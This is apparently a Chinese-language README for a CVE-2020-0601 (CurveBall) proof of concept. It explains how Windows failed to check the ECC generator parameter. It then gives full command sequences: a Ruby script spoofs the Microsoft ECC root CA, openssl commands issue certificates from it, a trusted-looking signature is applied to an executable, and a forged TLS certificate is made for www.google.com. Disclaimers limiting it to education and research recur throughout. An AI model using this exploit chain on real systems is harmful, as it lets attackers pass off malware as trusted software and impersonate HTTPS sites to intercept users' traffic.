CVE-2020-0601,通常被称为CurveBall,是一个漏洞,其中使用椭圆曲线密码学(ECC)的证书签名并未被正确验证。
ECC依赖于不同的参数。许多曲线使用标准化参数。然而,微软并没有像他们那样的天才一样检查所有这些参数……参数 G(生成元)并未被检查,因此攻击者可以提供自定义的生成元,这样当微软尝试验证证书是否来自受信任的CA时,它只会查找匹配的公钥,然后嘣,它就会使用证书中的生成元。
NSA清楚地解释了此漏洞的破坏性影响以及更多信息,请参见此处。准备好就开始吧!
MicrosoftECCProductRootCertificateAuthority.cer 默认是Windows 10上使用ECC的受信任根证书颁发机构(CA)。任何使用此证书签名的内容都会自动被信任。
需要说明的是,他们一直在监视……所以请仅用于教育和研究目的。
最低要求
openssl 1.1.0
ruby 2.4.0
如果您对漏洞的数学细节感兴趣,请阅读更多信息此处。
为了伪造证书,请设置以下参数:
d' = 1
G' = Q
使得 Q = Q' = d'G'。
创建一个与受信任CA具有相同公钥和参数的证书。这将用作我们的伪造CA。将生成元设置为一个你知道私钥的值。你可以轻松地将生成元设置为公钥,并将私钥设置为 1,因为 Q = dG。
接下来,创建一个包含你想要使用的扩展的证书签名请求,例如代码签名或服务器身份验证。
使用你的伪造CA和CA密钥签署此证书请求,并添加使用扩展。
将签名的证书请求(现在是一个普通证书)与伪造CA捆绑在一起,你就拥有一个签名且受信任的证书。
当Windows检查证书是否受信任时,它会发现该证书是由我们的伪造CA签名的。然后它查看伪造CA的公钥,与受信任的CA进行比对。接着它只是用伪造CA的生成元验证伪造CA的签名——这就是问题所在。
如果你选择在Windows中打开你新签名且受信任的证书,它不会将其识别为受信任,因为该证书未与任何东西关联,因此不会使用伪造CA。证书必须始终与伪造CA一起呈现。
请仅用于教育和研究目的。
从CA中提取公钥并根据漏洞修改它:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
基于此密钥生成一个新的x509证书。这将是我们自己的伪造CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
生成一个新密钥。此密钥可以是任何你想要的类型。它将用于创建一个代码签名证书,我们将用我们自己的CA签署该证书。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
接下来,创建一个新的证书签名请求(CSR)。此请求通常会被发送到受信任的CA,但由于我们有一个伪造的CA,我们可以自己签署它。
openssl req -new -key cert.key -out cert.csr -config openssl_cs.conf -reqexts v3_cs
使用我们的伪造CA和CA密钥签署你的新CSR。此证书将在2047年到期,而真正的受信任微软CA将在2043年到期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_cs.conf -extensions v3_cs
剩下唯一要做的就是将证书、其密钥和伪造CA打包到一个PKCS12文件中,用于签署可执行文件。
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile spoofed_ca.crt -name "Code Signing" -out cert.p12
使用PKCS12文件签署你的可执行文件。
osslsigncode sign -pkcs12 cert.p12 -n "Signed by ollypwn" -in 7z1900-x64.exe -out 7z1900-x64_signed.exe
请仅用于教育和研究目的。 从CA中提取公钥并根据漏洞修改它:
ruby main.rb ./MicrosoftECCProductRootCertificateAuthority.cer
基于此密钥生成一个新的x509证书。这将是我们自己的伪造CA。
openssl req -new -x509 -key spoofed_ca.key -out spoofed_ca.crt
生成一个新密钥。此密钥可以是任何你想要的类型。它将用于创建一个SSL证书,我们将用我们自己的CA签署该证书。
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
接下来,创建一个新的证书签名请求(CSR)。此请求通常会被发送到受信任的CA,但由于我们有一个伪造的CA,我们可以自己签署它。
如果你希望更改域名,请将 openssl_tls.conf 中的 CN = www.google.com 修改为 CN = www.example.com。
openssl req -new -key cert.key -out cert.csr -config openssl_tls.conf -reqexts v3_tls
使用我们的伪造CA和CA密钥签署你的新CSR。此证书将在2047年到期,而真正的受信任微软CA将在2043年到期。
openssl x509 -req -in cert.csr -CA spoofed_ca.crt -CAkey spoofed_ca.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl_tls.conf -extensions v3_tls
现在你可以使用 cert.crt、cert.key 和 spoofed_ca.crt 来提供你的内容。再次提醒,请记得在服务器的HTTPS配置中将 spoofed_ca.crt 添加为证书链。
参见使用示例:https://github.com/IIICTECH/-CVE-2020-0601---ECC-/blob/master/tls/index.js。
请仅用于教育和研究目的。